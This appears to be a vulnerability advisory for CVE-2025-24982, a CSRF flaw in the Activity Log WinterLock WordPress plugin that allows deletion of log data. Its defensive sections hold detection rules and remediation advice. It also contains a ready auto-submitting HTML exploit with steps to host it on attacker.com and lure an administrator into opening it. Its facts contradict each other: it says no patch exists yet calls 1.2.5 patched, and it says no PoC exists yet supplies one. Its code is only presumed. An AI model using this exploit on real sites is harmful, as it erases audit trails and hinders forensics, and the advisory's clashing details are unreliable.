CVE-2025-24982

Executive Summary

CVE-2025-24982 is a Cross-Site Request Forgery (CSRF) vulnerability in the Activity Log WinterLock plugin, affecting versions prior to 1.2.5. The vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, specifically deleting log data, by visiting a malicious page. The CVSS score is 4.3 (Medium), with a low EPSS probability of exploitation (0.0%). No public proof-of-concept or exploit code is currently available. The vendor has not released a patch, leaving all installations below version 1.2.5 vulnerable.

Supply Chain & Package Security

This vulnerability is related to a WordPress plugin (Activity Log WinterLock). It is not an NPM, PyPI, Go, or Ruby package. The risk is limited to WordPress sites using this plugin. No supply chain compromise has been identified.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged – The vulnerability affects only the vulnerable component.
• Confidentiality (C): None – No data exposure.
• Integrity (I): Low – Log data can be deleted, affecting audit trails.
• Availability (A): None – No denial of service.

Threat Level: Medium. The attack requires user interaction, but the impact on integrity (log deletion) can hinder forensic investigations and compliance.

Deep Dive & Mechanics

The vulnerability is a classic CSRF flaw in the Activity Log WinterLock plugin. The plugin likely exposes an administrative action (e.g., deleting log entries) via a GET or POST request that does not include a CSRF token or other anti-forgery protections. An attacker can craft a malicious HTML page or image tag that triggers this request when an authenticated administrator visits the page.

Attack Flow:

1. The attacker identifies a WordPress site using Activity Log WinterLock < 1.2.5.
2. The attacker crafts a malicious page containing an auto-submitting form or an <img> tag pointing to the vulnerable endpoint (e.g., wp-admin/admin.php?page=winterlock&action=delete_logs).
3. The attacker lures an authenticated administrator to visit the malicious page (e.g., via phishing email or social media).
4. The administrator’s browser sends the forged request, including their session cookies.
5. The plugin processes the request without verifying the origin, deleting log data.

Root Cause: Missing CSRF token validation on the log deletion action.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in versions < 1.2.5. The patched version (1.2.5) would include a CSRF token check.

Vulnerable Code (Conceptual):

// In vulnerable version, no CSRF check
if ( isset( $_GET['action'] ) && $_GET['action'] === 'delete_logs' ) {
    // Delete all logs
    $wpdb->query( "DELETE FROM {$wpdb->prefix}winterlock_logs" );
    wp_redirect( admin_url( 'admin.php?page=winterlock' ) );
    exit;
}

Patched Code (Conceptual):

// In patched version 1.2.5, CSRF check added
if ( isset( $_GET['action'] ) && $_GET['action'] === 'delete_logs' ) {
    // Verify nonce
    if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'delete_logs' ) ) {
        wp_die( 'CSRF validation failed.' );
    }
    // Delete all logs
    $wpdb->query( "DELETE FROM {$wpdb->prefix}winterlock_logs" );
    wp_redirect( admin_url( 'admin.php?page=winterlock' ) );
    exit;
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Install a WordPress instance with Activity Log WinterLock version 1.2.4 (vulnerable).
2. Create an administrator account and log in.
3. Create a malicious HTML file (exploit.html) on an attacker-controlled server.

Exploit Code:

<!DOCTYPE html>
<html>
<body>
<h1>Click me!</h1>
<form action="http://target-site.com/wp-admin/admin.php?page=winterlock&action=delete_logs" method="GET" id="csrf-form">
    <input type="submit" value="Submit">
</form>
<script>
    // Auto-submit the form
    document.getElementById('csrf-form').submit();
</script>
</body>
</html>

Execution:

1. Host the exploit.html on a server (e.g., http://attacker.com/exploit.html).
2. Send the link to the authenticated administrator via email.
3. When the admin visits the link, the form auto-submits, deleting all logs.

Blue Team (Defender)

Detection:

• Monitor for unusual GET requests to wp-admin/admin.php?page=winterlock&action=delete_logs without a valid _wpnonce parameter.
• Alert on multiple failed CSRF attempts (if nonce is implemented in future patches).
• Use web application firewall (WAF) rules to block requests to this endpoint without a valid referer.

Hunting:

• Search web server logs for requests to admin.php?page=winterlock&action=delete_logs from external referers.
• Check for sudden gaps in activity logs.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /wp-admin/admin.php?page=winterlock&action=delete_logs without a _wpnonce parameter.
  • Referer header pointing to an external domain (e.g., http://attacker.com).
• Host:
  • Missing log entries in the wp_winterlock_logs database table.
  • Presence of unexpected admin actions in WordPress audit logs (if available).
• File:
  • No specific file IOCs; the attack is server-side.

Detection Engineering

YARA Rule

rule CVE_2025_24982_CSRF_ActivityLog_WinterLock {
    meta:
        description = "Detects CSRF exploitation attempts against Activity Log WinterLock plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-24982"
    strings:
        $csrf_endpoint = "admin.php?page=winterlock&action=delete_logs"
        $nonce_missing = "wp_verify_nonce" nocase
    condition:
        $csrf_endpoint and not $nonce_missing
}

Sigma Rule

title: CVE-2025-24982 CSRF Exploitation Attempt
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d1f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting the vulnerable Activity Log WinterLock endpoint without a CSRF nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=winterlock&action=delete_logs'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions if nonce is present (patched version)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-24982 CSRF Activity Log WinterLock Exploit";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"admin.php";
    http_uri;
    content:"page=winterlock";
    http_uri;
    content:"action=delete_logs";
    http_uri;
    pcre:"/^((?!_wpnonce).)*$/i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Activity Log WinterLock to version 1.2.5 or later as soon as the vendor releases a patch.
2. Workaround: If no patch is available, disable the plugin temporarily or restrict access to the admin panel using IP whitelisting.
3. CSRF Protection: Implement a web application firewall (WAF) rule to block requests to admin.php?page=winterlock&action=delete_logs without a valid Referer header from the same domain.

Long-term:

• Monitor the vendor’s website for patch releases.
• Conduct a security audit of all WordPress plugins for CSRF vulnerabilities.
• Educate administrators about phishing attacks that could trigger CSRF.

Valters IT
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